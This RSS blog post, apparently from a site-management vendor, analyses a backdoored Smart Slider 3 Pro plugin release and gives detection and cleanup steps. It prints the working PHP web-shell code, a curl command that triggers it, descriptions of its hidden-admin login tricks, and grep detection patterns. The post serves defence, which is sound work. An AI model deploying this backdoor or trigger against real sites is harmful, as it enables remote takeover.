<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>mySites.guru Blog</title><description>Tips, tutorials, and updates about managing your WordPress and Joomla sites with mySites.guru.</description><link>https://mysites.guru/</link><language>en-gb</language><atom:link rel="hub" href="https://pubsubhubbub.appspot.com/"/><atom:link rel="self" type="application/rss+xml" href="https://mysites.guru/rss.xml"/><image><url>https://mysites.guru/favicon.svg</url><title>mySites.guru Blog</title><link>https://mysites.guru/blog/</link></image><item><title>Smart Slider 3 Pro 3.5.1.35 Was a Malicious Release: Supply Chain Compromise</title><link>https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</link><guid isPermaLink="true">https://mysites.guru/blog/smart-slider-3-pro-supply-chain-compromise/</guid><description>Smart Slider 3 Pro 3.5.1.35 was a malicious release pushed through the official update channel. RCE backdoor, hidden admin users. Update to 3.5.1.36.</description><pubDate>Wed, 08 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Last week we &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;wrote about CVE-2026-3098&lt;/a&gt;, an arbitrary file read vulnerability in Smart Slider 3 affecting 800,000 WordPress sites. The fix was to update to version 3.5.1.34.&lt;/p&gt;
&lt;p&gt;This week is worse. Much worse.&lt;/p&gt;
&lt;p&gt;Smart Slider 3 Pro version &lt;strong&gt;3.5.1.35&lt;/strong&gt; was a malicious release. Not a vulnerability, not a coding mistake, not a missed capability check. An unauthorized party pushed a backdoored build through Nextend&apos;s own update infrastructure, and anyone who clicked &quot;update plugin&quot; between the release of 3.5.1.35 and its detection received working remote code execution as the web server user.&lt;/p&gt;
&lt;p&gt;This is a supply-chain attack. The kind every security team has nightmares about, where the official update channel itself becomes the malware delivery system. Nextend has acknowledged the breach in security advisories for both &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;WordPress&lt;/a&gt; and &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2143-joomla-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;Joomla&lt;/a&gt;, pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement.&lt;/p&gt;
&lt;p&gt;If your site updated to Smart Slider 3 Pro 3.5.1.35 at any point, treat it as compromised until proven otherwise.&lt;/p&gt;
&lt;p&gt;&amp;lt;h2 id=&quot;tldr&quot;&amp;gt;TL;DR&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Smart Slider 3 Pro 3.5.1.35&lt;/strong&gt; was a malicious release pushed via Nextend&apos;s official update channel&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;both WordPress and Joomla&lt;/strong&gt; editions of Smart Slider 3 Pro (Nextend published separate advisories for each)&lt;/li&gt;
&lt;li&gt;Payload is a &lt;strong&gt;remote code execution backdoor&lt;/strong&gt;: a &lt;code&gt;_chk&lt;/code&gt; query parameter triggers shell or PHP execution from POST data&lt;/li&gt;
&lt;li&gt;Versions &lt;strong&gt;3.5.1.34 and earlier&lt;/strong&gt; are not affected. The safe replacement is &lt;strong&gt;3.5.1.36&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Indicators of compromise: hidden admin users starting with &lt;code&gt;wpsvc_&lt;/code&gt;, files named &lt;code&gt;cf_check.php&lt;/code&gt; in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt;, the strings &lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, or &lt;code&gt;wpjs1.com&lt;/code&gt; in any PHP file&lt;/li&gt;
&lt;li&gt;Nextend&apos;s &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup script&lt;/a&gt; removes the known indicators&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-red-200 bg-red-50 p-4 dark:border-red-800 dark:bg-red-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-red-900 dark:text-red-200&quot;&amp;gt;If your site ran 3.5.1.35, assume compromise.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-red-800 dark:text-red-300&quot;&amp;gt;A working remote code execution backdoor was active on every site that installed this release. Updating to 3.5.1.36 closes the door but does not remove anything the attacker placed before you closed it. You must run the indicator-of-compromise checks below and use Nextend&apos;s cleanup script.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;What Actually Happened to Smart Slider 3 Pro 3.5.1.35?&lt;/h2&gt;
&lt;p&gt;In Nextend&apos;s own words from the &lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;official advisory&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A security breach occurred affecting the update infrastructure responsible for distributing Smart Slider 3 updates. Unauthorized parties published a malicious version 3.5.1.35, which may have been installed on some websites before the issue was detected.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the part that matters: the attacker did not exploit a bug in the plugin. They got into the update infrastructure itself. For the time window 3.5.1.35 was live, Nextend&apos;s own update servers were serving a backdoored build to anyone who clicked update. Every defense that assumes the official update channel is trustworthy was bypassed by definition. Auto-updates pulled it. WordPress.org and the Joomla extension manager pulled it. Plugin update notifications recommended it. Anything checking signatures from Nextend would have validated it.&lt;/p&gt;
&lt;p&gt;Nextend has since pulled 3.5.1.35 from distribution, audited their infrastructure, and shipped a clean &lt;strong&gt;3.5.1.36&lt;/strong&gt; as the safe replacement. They have not yet published a post-incident report on how the attacker got in, how long they had access, or whether other releases were touched.&lt;/p&gt;
&lt;p&gt;Until that report exists, treat every site that ran 3.5.1.35 at any point as compromised.&lt;/p&gt;
&lt;h2&gt;How to Check Your Sites for Smart Slider 3 Pro 3.5.1.35 with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a supply-chain incident drops, the first question every agency asks is: &quot;Which of my sites pulled the bad version?&quot; If you manage 50 or 200 client sites, logging into each one and checking the plugin version is not viable. By the time you get through the list, the attacker has had hours of free access.&lt;/p&gt;
&lt;p&gt;mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;twice-daily extension snapshot&lt;/a&gt; records the exact version of every installed plugin and Joomla extension across every connected site. The extension search page lets you filter by version number in seconds:&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot;&gt;Smart Slider 3 extension search page&lt;/a&gt; lists every installed version across all your connected sites, grouped by version number. Filter for 3.5.1.35 and you will see exactly which sites are exposed.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;View all your Smart Slider 3 installations&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2&quot;&amp;gt;&amp;lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4f895994db593d472cda9736c9476774&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-medium text-white no-underline hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Open Smart Slider 3 Extension Search&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;Lists every installed version across all your connected sites. Filter by 3.5.1.35 to find any compromised installations, or 3.5.1.34 to find sites that need to move forward to the clean 3.5.1.36.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt;, you can push 3.5.1.36 across every affected site in one batch. A supply-chain incident becomes a five-minute triage instead of a stressful afternoon.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;start a free trial&lt;/a&gt; and connect your sites. The plugin index builds automatically on the first snapshot.&lt;/p&gt;
&lt;h2&gt;What Does the Smart Slider 3 Pro 3.5.1.35 Backdoor Actually Do?&lt;/h2&gt;
&lt;p&gt;The malicious payload is small and clever. Here is the relevant code, formatted for readability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;init&apos;, function () {
    $k = get_option(&apos;_wpc_ak&apos;, &apos;&apos;);
    if ($k &amp;amp;&amp;amp; isset($_GET[&apos;_chk&apos;]) &amp;amp;&amp;amp; $_GET[&apos;_chk&apos;] === $k) {
        while (@ob_end_clean()) {}
        @error_reporting(0);
        header(&apos;Content-Type:text/plain&apos;);
        $m = isset($_GET[&apos;m&apos;]) ? $_GET[&apos;m&apos;] : &apos;sh&apos;;
        $d = base64_decode(isset($_POST[&apos;d&apos;]) ? $_POST[&apos;d&apos;] : &apos;&apos;);
        if (!$d) {
            echo &apos;OK&apos;;
            die();
        }
        if ($m === &apos;php&apos;) {
            ob_start();
            try {
                eval($d);
            } catch (\Throwable $e) {
                echo $e-&amp;gt;getMessage();
            }
            echo ob_get_clean();
            die();
        }
        $out = @shell_exec($d . &apos; 2&amp;gt;&amp;amp;1&apos;);
        echo $out !== null ? $out : &apos;NOSHELL&apos;;
        die();
    }
}, 0);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walk through what it does, line by line:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;add_action(&apos;init&apos;, ..., 0)&lt;/code&gt;&lt;/strong&gt; - registers the backdoor on every page load at the highest priority. Every request to the site, including the public homepage, runs this code before anything else.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$k = get_option(&apos;_wpc_ak&apos;, &apos;&apos;)&lt;/code&gt;&lt;/strong&gt; - reads a secret value from the WordPress options table, stored under the key &lt;code&gt;_wpc_ak&lt;/code&gt;. The malicious installer planted this secret during plugin activation. Joomla&apos;s equivalent uses a parameter or table row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;isset($_GET[&apos;_chk&apos;]) &amp;amp;&amp;amp; $_GET[&apos;_chk&apos;] === $k&lt;/code&gt;&lt;/strong&gt; - checks if the current request includes a &lt;code&gt;_chk&lt;/code&gt; query parameter that matches the planted secret. This is the authentication: if you know the secret, you are in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;while (@ob_end_clean()) {}&lt;/code&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;code&gt;@error_reporting(0)&lt;/code&gt;&lt;/strong&gt; - clear all output buffers and silence errors so nothing leaks into the response that would tip off log monitoring.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$m = isset($_GET[&apos;m&apos;]) ? $_GET[&apos;m&apos;] : &apos;sh&apos;&lt;/code&gt;&lt;/strong&gt; - reads a mode parameter. &lt;code&gt;sh&lt;/code&gt; runs shell commands, &lt;code&gt;php&lt;/code&gt; evaluates PHP code.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;$d = base64_decode($_POST[&apos;d&apos;])&lt;/code&gt;&lt;/strong&gt; - reads the payload from POST data, base64-decoded. Base64 keeps the payload out of plaintext intrusion detection signatures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;shell_exec($d . &apos; 2&amp;gt;&amp;amp;1&apos;)&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;eval($d)&lt;/code&gt;&lt;/strong&gt; - executes the decoded payload. Shell mode runs OS commands as the web server user. PHP mode runs arbitrary PHP code, which is even more powerful because it does not require shell access to be enabled.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The backdoor is triggered with a single HTTP request from anywhere on the internet:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -X POST &quot;https://victim.example.com/?_chk=SECRET&amp;amp;m=sh&quot; \
     --data &quot;d=$(echo &apos;id; uname -a&apos; | base64)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The attacker&apos;s challenge is knowing the secret. Either they know it because they planted it (the compromised installer wrote it during plugin activation), or they have a separate channel to retrieve it from infected sites. Both paths exist in this incident: Nextend&apos;s advisory describes additional persistence files in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; that likely include exfiltration code to phone home with the secret and the site URL.&lt;/p&gt;
&lt;h3&gt;Why This Is Worse Than a Normal Vulnerability&lt;/h3&gt;
&lt;p&gt;A normal plugin vulnerability is a coding mistake that an attacker can exploit if they find it. A supply-chain compromise is the attacker shipping their own code through the legitimate update channel. Every site that updates is willingly installing the backdoor.&lt;/p&gt;
&lt;p&gt;With CVE-2026-3098 last week, an attacker needed a subscriber account and knowledge of the export AJAX endpoint. With 3.5.1.35, an attacker needs nothing except for the site to have clicked &quot;update&quot;. The plugin runs with full PHP privileges, so the backdoor inherits all of that.&lt;/p&gt;
&lt;p&gt;This also means the usual mental model breaks. Your firewall rules, your nonce checks, your role-based permissions, none of them apply, because the malicious code is running inside your trusted plugin code path. It is the plugin.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise: How to Tell If Your Site Was Infected&lt;/h2&gt;
&lt;p&gt;If your Smart Slider 3 Pro version was at any point 3.5.1.35, run all of these checks before assuming you are clean.&lt;/p&gt;
&lt;h3&gt;1. Hidden Admin Accounts&lt;/h3&gt;
&lt;p&gt;Nextend&apos;s advisory describes the malicious installer creating administrator accounts with usernames starting with &lt;code&gt;wpsvc_&lt;/code&gt; and an email address of &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt;. On Joomla, the same pattern applies.&lt;/p&gt;
&lt;p&gt;WordPress check via WP-CLI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wp user list --role=administrator --fields=user_login,user_email
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look for any account starting with &lt;code&gt;wpsvc_&lt;/code&gt; or with the &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt; email. SQL alternative:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT user_login, user_email, user_registered
FROM wp_users
WHERE user_login LIKE &apos;wpsvc_%&apos;
   OR user_email LIKE &apos;%kiziltxt2@gmail.com%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT username, email, registerDate
FROM jos_users
WHERE username LIKE &apos;wpsvc_%&apos;
   OR email LIKE &apos;%kiziltxt2@gmail.com%&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;jos_&lt;/code&gt; with your actual table prefix.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/universal-user-management-for-joomla-and-wordpress-sites/&quot;&gt;universal user management&lt;/a&gt; lists every user account across every connected site in one view. Sort by registration date or filter by username pattern to spot &lt;code&gt;wpsvc_*&lt;/code&gt; accounts across hundreds of sites at once, instead of logging into each one.&lt;/p&gt;
&lt;h3&gt;2. Backdoor Files in Cache and Media Directories&lt;/h3&gt;
&lt;p&gt;The advisory specifies &lt;code&gt;cf_check.php&lt;/code&gt; files placed in &lt;code&gt;/cache&lt;/code&gt; and &lt;code&gt;/media&lt;/code&gt; (Joomla) and equivalent locations on WordPress (&lt;code&gt;wp-content/cache&lt;/code&gt;, &lt;code&gt;wp-content/uploads&lt;/code&gt;, &lt;code&gt;wp-content/mu-plugins&lt;/code&gt;). Find them:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -name &apos;cf_check.php&apos; -type f
find wp-content/mu-plugins -type f -name &apos;*.php&apos; -newer /tmp/reference-timestamp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any unexpected PHP files in cache, media, or upload directories should be considered hostile until proven otherwise. Legitimate files in those directories are extremely rare.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files report&lt;/a&gt; flags exactly this kind of orphan PHP file living outside the normal core/plugin paths. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; catches &lt;code&gt;cf_check.php&lt;/code&gt; and similar known backdoor filenames automatically across every connected site.&lt;/p&gt;
&lt;h3&gt;3. Backdoor Strings in PHP Files&lt;/h3&gt;
&lt;p&gt;Grep for the literal strings the malicious payload uses:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -rEn &apos;_wpc_ak|wpjs1\.com|kiziltxt2@gmail\.com&apos; \
  --include=&apos;*.php&apos; .
grep -rEn &apos;eval\s*\(\s*base64_decode&apos; --include=&apos;*.php&apos; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first command catches the option key, the exfiltration domain, and the attacker email. The second catches the most common PHP backdoor pattern, which appears in the malicious code samples Nextend shared.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; runs the same pattern matching across every connected site, then &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; explains exactly what each suspicious snippet does so you can triage real threats from false positives without reading every flagged file by hand.&lt;/p&gt;
&lt;h3&gt;4. Recently Modified PHP Files&lt;/h3&gt;
&lt;p&gt;Any PHP file modified between the release of 3.5.1.35 and your update to 3.5.1.36 should be reviewed. If you do not know that window, check anything modified in the last fourteen days:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find . -name &apos;*.php&apos; -mtime -14 -type f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cross-reference this list against your normal deployment activity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file change alerts&lt;/a&gt; tell you the moment a PHP file changes outside a normal update window, with email notifications. Instead of running &lt;code&gt;find -mtime&lt;/code&gt; after the fact, you would have known the same day the backdoor was planted.&lt;/p&gt;
&lt;h3&gt;5. Theme File Modifications&lt;/h3&gt;
&lt;p&gt;Nextend mentions infected theme files as part of the persistence mechanism. The &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;mySites.guru file change monitor&lt;/a&gt; catches this automatically by comparing every PHP file&apos;s hash against the previous snapshot. If a theme file changed without a corresponding template update, you have an answer.&lt;/p&gt;
&lt;h3&gt;6. The &lt;code&gt;_wpc_ak&lt;/code&gt; Database Option&lt;/h3&gt;
&lt;p&gt;The most direct indicator: if the &lt;code&gt;_wpc_ak&lt;/code&gt; option exists in your &lt;code&gt;wp_options&lt;/code&gt; table, the backdoor planted its key.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM wp_options WHERE option_name = &apos;_wpc_ak&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla equivalent depends on where the malicious code stored its key. Check the &lt;code&gt;#__extensions&lt;/code&gt; params, &lt;code&gt;#__assets&lt;/code&gt;, and any plugin-specific tables for entries with names starting with &lt;code&gt;_wpc_&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How mySites.guru helps:&lt;/strong&gt; the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;deep security audit&lt;/a&gt; walks the database looking for unexpected options, modified core files, and tampered configuration. For Joomla sites specifically, the &lt;a href=&quot;https://mysites.guru/blog/how-to-check-joomla-database-security/&quot;&gt;database security check&lt;/a&gt; verifies privileges and looks for rows planted by malicious code.&lt;/p&gt;
&lt;h2&gt;mySites.guru Is Already Finding the Smart Slider 3 Backdoor on Live Client Sites&lt;/h2&gt;
&lt;p&gt;We are already seeing this backdoor on real connected sites. The screenshot below is from a client site that was running 3.5.1.35 when its scheduled audit ran overnight. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content scanner&lt;/a&gt; caught it and flagged the file three hours ago:&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-neutral-300 p-4 dark:border-neutral-700&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;One file. Sixteen lines of PHP. Six separate suspect content matches, each tied to the exact line number with a label that explains why it is hostile. The scanner catches the indicators we covered above (&lt;code&gt;_wpc_ak&lt;/code&gt;, &lt;code&gt;eval(base64_decode&lt;/code&gt;, &lt;code&gt;shell_exec&lt;/code&gt;), but it also flags three things Nextend&apos;s advisory does not mention at all:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A &lt;code&gt;pre_user_query&lt;/code&gt; filter on line 12 that hides any user whose ID matches the &lt;code&gt;_wpc_uid&lt;/code&gt; option. The attacker&apos;s hidden admin account never shows up in &lt;code&gt;Users &amp;gt; All Users&lt;/code&gt;. If you only check the WordPress user list in wp-admin, you see nothing wrong.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login&lt;/code&gt; endpoint on line 13 that accepts a &lt;code&gt;_wplogin&lt;/code&gt; query parameter, validates it with an HMAC-SHA256 of the string &lt;code&gt;magic_login&lt;/code&gt; keyed by &lt;code&gt;AUTH_KEY.SECURE_AUTH_KEY&lt;/code&gt;, then forges an auth cookie for the user ID stored in &lt;code&gt;_wpc_uid&lt;/code&gt; and redirects through a base64-decoded URL. The attacker can log in as the hidden admin from any browser, without ever sending a password.&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;magic_login_v2&lt;/code&gt; variant on line 14 that does the same thing but skips the option lookup. It runs a SQL query for any existing administrator account whose username starts with &lt;code&gt;wpsvc_&lt;/code&gt;, falls back to a generic &lt;code&gt;%administrator%&lt;/code&gt; match if that fails, and logs in as the first match. This is the attacker&apos;s backup channel in case the &lt;code&gt;_wpc_uid&lt;/code&gt; option gets deleted.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So the payload is not just a remote shell. It is a full persistence kit. If your cleanup only removes the &lt;code&gt;_chk&lt;/code&gt; shell handler that the Nextend advisory describes, the attacker still has two working login paths and an invisible admin account waiting for them.&lt;/p&gt;
&lt;h3&gt;How to Run the Scan and Fix Across All Your Sites&lt;/h3&gt;
&lt;p&gt;The suspect content scanner runs as part of every mySites.guru audit. For a single site, open the site in the dashboard and check the Suspect Content section of its audit report. For your whole portfolio, every scheduled audit runs the same scan automatically and any flagged file shows up in the global activity feed.&lt;/p&gt;
&lt;p&gt;Every match in the screenshot has its own action buttons. The red flag marks the file as confirmed hostile and queues it for cleanup. The green flag marks it as a false positive so the scanner stops alerting on it for that site. The purple AI button sends the snippet to the &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt;, which writes a plain-English explanation of what the code does. The trash icon deletes the file from the server. The edit icon opens the file inline so you can strip the malicious lines out of a file that also contains legitimate code.&lt;/p&gt;
&lt;p&gt;For the 3.5.1.35 case, &lt;code&gt;object-cache-helper.php&lt;/code&gt; is not a real WordPress core or plugin file. The whole file is malicious. The right action is delete. That cuts off every backdoor in one click. Then update Smart Slider 3 Pro to 3.5.1.36, run the indicator-of-compromise checks above, and look at whatever else the same audit run flagged - the attacker may have dropped more than one file.&lt;/p&gt;
&lt;p&gt;If you manage 50 or 200 client sites, the next scheduled audit answers the question &quot;did any of mine get hit by 3.5.1.35&quot; without you logging into anything.&lt;/p&gt;
&lt;h2&gt;Cleanup: How to Recover an Infected Smart Slider 3 Pro Site&lt;/h2&gt;
&lt;p&gt;Nextend has published an &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;official cleanup zip&lt;/a&gt; that removes the known indicators of compromise. Their cleanup performs the steps below automatically. If you prefer to do it manually, or want to verify the cleanup ran correctly, here is the order.&lt;/p&gt;
&lt;h3&gt;1. Take a Forensic Backup First&lt;/h3&gt;
&lt;p&gt;Before deleting anything, take a full backup of the file system and database. If the site is later determined to have been compromised in a way the cleanup script does not address, you need the original artifacts to investigate. mySites.guru&apos;s &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;one-click backup&lt;/a&gt; handles this in seconds.&lt;/p&gt;
&lt;h3&gt;2. Update to 3.5.1.36 Immediately&lt;/h3&gt;
&lt;p&gt;Through the WordPress plugin updater or Joomla&apos;s extension manager. Verify the version after update.&lt;/p&gt;
&lt;h3&gt;3. Run the Nextend Cleanup Script&lt;/h3&gt;
&lt;p&gt;Download &lt;code&gt;cleanup.zip&lt;/code&gt; from &lt;a href=&quot;https://nextendweb.com/public/cleanup.zip&quot;&gt;nextendweb.com/public/cleanup.zip&lt;/a&gt;, upload it to the site, and follow the instructions in the official advisory. The script removes hidden admin accounts, deletes the known backdoor files, and cleans modifications to theme files.&lt;/p&gt;
&lt;p&gt;For one or two affected sites, this is a quick job. For 50 or 200, the prospect of SFTPing into each one, uploading the zip, running it, and verifying it ran cleanly is what makes this kind of incident eat a whole day.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-8 rounded-xl border-2 border-blue-200 bg-gradient-to-br from-blue-50 to-indigo-50 p-6 dark:border-blue-800 dark:from-blue-950 dark:to-indigo-950&quot;&amp;gt;
&amp;lt;div class=&quot;flex items-start gap-4&quot;&amp;gt;
&amp;lt;div class=&quot;flex-shrink-0 flex h-12 w-12 items-center justify-center rounded-lg bg-blue-600 text-white shadow-lg&quot;&amp;gt;
&amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; class=&quot;h-6 w-6&quot;&amp;gt;&amp;lt;path d=&quot;M21 15v4a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2v-4&quot;/&amp;gt;&amp;lt;polyline points=&quot;17 8 12 3 7 8&quot;/&amp;gt;&amp;lt;line x1=&quot;12&quot; y1=&quot;3&quot; x2=&quot;12&quot; y2=&quot;15&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot;flex-1&quot;&amp;gt;
&amp;lt;p class=&quot;text-lg font-semibold text-blue-900 dark:text-blue-100&quot;&amp;gt;Push the Nextend cleanup zip to every affected site in one batch&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-2 text-sm text-blue-900 dark:text-blue-200&quot;&amp;gt;mySites.guru&apos;s &amp;lt;a href=&quot;/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot; class=&quot;font-semibold underline&quot;&amp;gt;mass package install&amp;lt;/a&amp;gt; tool was built for pushing plugin installs across hundreds of sites at once. Same workflow works for the Nextend cleanup zip: upload it once, pick every site running Smart Slider 3, and deploy. No SFTP, no per-site admin login, no copy-pasting credentials. A 200-site cleanup turns into a couple of clicks.&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-3&quot;&amp;gt;&amp;lt;a href=&quot;/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot; class=&quot;inline-flex items-center gap-2 rounded-md bg-blue-700 px-4 py-2 text-sm font-semibold text-white no-underline shadow-md hover:bg-blue-800 dark:bg-blue-600 dark:hover:bg-blue-500&quot;&amp;gt;Read how mass package install works &amp;lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2.5&quot; stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot; class=&quot;h-4 w-4&quot;&amp;gt;&amp;lt;path d=&quot;M5 12h14&quot;/&amp;gt;&amp;lt;path d=&quot;m12 5 7 7-7 7&quot;/&amp;gt;&amp;lt;/svg&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h3&gt;4. Delete the &lt;code&gt;_wpc_ak&lt;/code&gt; Option&lt;/h3&gt;
&lt;p&gt;After the cleanup script runs, verify the option is gone:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DELETE FROM wp_options WHERE option_name = &apos;_wpc_ak&apos;;
